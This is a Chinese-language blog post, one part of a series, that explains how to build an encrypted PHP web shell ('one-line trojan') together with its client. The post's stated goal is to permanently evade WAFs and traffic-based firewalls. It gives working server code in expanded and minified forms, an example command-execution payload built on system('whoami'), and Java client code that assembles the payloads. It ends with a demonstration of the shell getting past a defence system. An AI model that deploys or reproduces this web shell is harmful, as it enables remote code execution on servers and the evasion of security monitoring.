概述
本系列文章重寫了java、.net、php三個版本的一句話木馬,可以解析並執行客戶端傳遞過來的加密二進制流,並實現了相應的客戶端工具。從而一勞永逸的繞過WAF或者其他網絡防火牆的檢測。
本來是想把這三個版本寫在一篇文章里,過程中發現篇幅太大,所以分成了四篇,分別是:
利用動態二進制加密實現新型一句話木馬之Java篇
利用動態二進制加密實現新型一句話木馬之.net篇
利用動態二進制加密實現新型一句話木馬之php篇
利用動態二進制加密實現新型一句話木馬之客戶端篇
前言
在第一篇文章《利用動態二進制加密技術實現新型一句話木馬之Java篇》中我們介紹了一種可以長期繞過所有流量型防護系統的思路,並完成了其Java版本的實現,繞過流程大體如下圖,詳細內容請參考第一篇文章。
現在我們繼續實現該思路的PHP版本。
實現篇
服務端實現
得益於PHP語言的靈活性、松散性,現有的PHP一句話木馬存在很多個版本,為了躲避殺毒軟件和waf,php的一句話木馬變形起來可以說是腦洞大開,精妙絕倫。下面我們來打造一個基於純二進制流量的PHP一句話木馬。當然,我們可以采用的方法遠不止這一種,可以在此基礎上衍生出各種變形。
和Java和.NET不同,PHP並不存在手動編譯的過程,開發人員只要提供PHP源代碼,然后PHP會自己把源代碼編譯為opcode,由Zend引擎來解析opcode。因為不存在編譯的中間環節,當然也就不存在已編譯的二進制類文件。所以這里我們要轉變一下思路,在具體實現之前我們先看一個PHP的特性“可變函數”,官方描述為:PHP 支持可變函數的概念。這意味着如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,並且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。下面看具體實現,直接上代碼吧(為了增加可讀性,我對代碼進行了一些擴充):
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>
簡單解釋一下流程:
- 首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰並寫入Session。
- 客戶端將源代碼,如assert|eval("phpinfo();”)利用AES加密,發送至服務端,服務端收到之后先進行AES解密,得到中間結果字符串assert|eval("phpinfo();")。
- 服務端利用explode函數將拆分為一個字符串數據,索引為0的元素為字符串assert,索引為1的元素為字符串eval("phpinfo();")。
- 以可變函數方式調用索引為0的數組元素,參數為索引為1的數組元素,即為assert("eval("phpinfo;")") 。
壓縮一下:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
客戶端實現
由於Java、.net、php三個版本是公用一個客戶端,且其中多個模塊可以實現復用,為了節省篇幅,此處就不再介紹重疊的部分,只針對PHP平台特異化的部分介紹一下。
1.遠程獲取加密密鑰
詳細請參考《利用動態二進制加密技術實現新型一句話木馬之Java篇》。
2.動態生成二進制字節數組
如前文所述,PHP版本的Payload是直接用PHP源代碼的形式來編寫,樣式如下:assert|eval(Payload)。然后取字符串的字節流,為后續的加密做准備。。
3.已編譯類的參數化
為了實現參數化,客戶端對PHP的Payload做了一個內部約定,Payload的格式應為function main(arg1…argN){} main(arg1…argN);
比如一個最簡單的命令執行的Payload:
function main(cmd)
{
echo system(cmd);
}
main('whoami');
當然開發Payload的時候,我們只要專門寫函數就行了,后面main函數的調用和參數填充,是由客戶端程序自動實現的,相關代碼如下:
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
String basePath="net/rebeyond/behinder/payload/php/";
String payloadPath=basePath+clsName+".php";
StringBuilder code=new StringBuilder();
ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = bis.read()))
bos.write(b);
bis.close();
code.append(bos.toString());
String paraList="";
for (String paraName : params.keySet()) {
String paraValue = params.get(paraName);
code.append(String.format("$%s=\"%s\";", paraName,paraValue));
paraList+=",$"+paraName;
}
paraList=paraList.replaceFirst(",", "");
code.append("\r\nmain("+paraList+");");
return code.toString().getBytes();
}
4.加密payload
將上一步中getParamedPhp函數返回的Payload源代碼字符串的字節流,利用握手請求產生的密鑰進行AES加密,詳細請參考《利用動態二進制加密技術實現新型一句話木馬之Java篇》。
5.發送payload,接收執行結果並解密
詳細請參考《利用動態二進制加密技術實現新型一句話木馬之Java篇》。
案例演示
下面我找了一個測試站點來演示一下繞過防御系統的效果:
首先我上傳一個常規的PHP一句話木馬 ,然后用菜刀客戶端連接,如下圖,連接直接被防御系統reset了:
然后上傳我們的新型一句話木馬,並用響應的客戶端連接,可以成功連接並管理目標系統:
本篇完。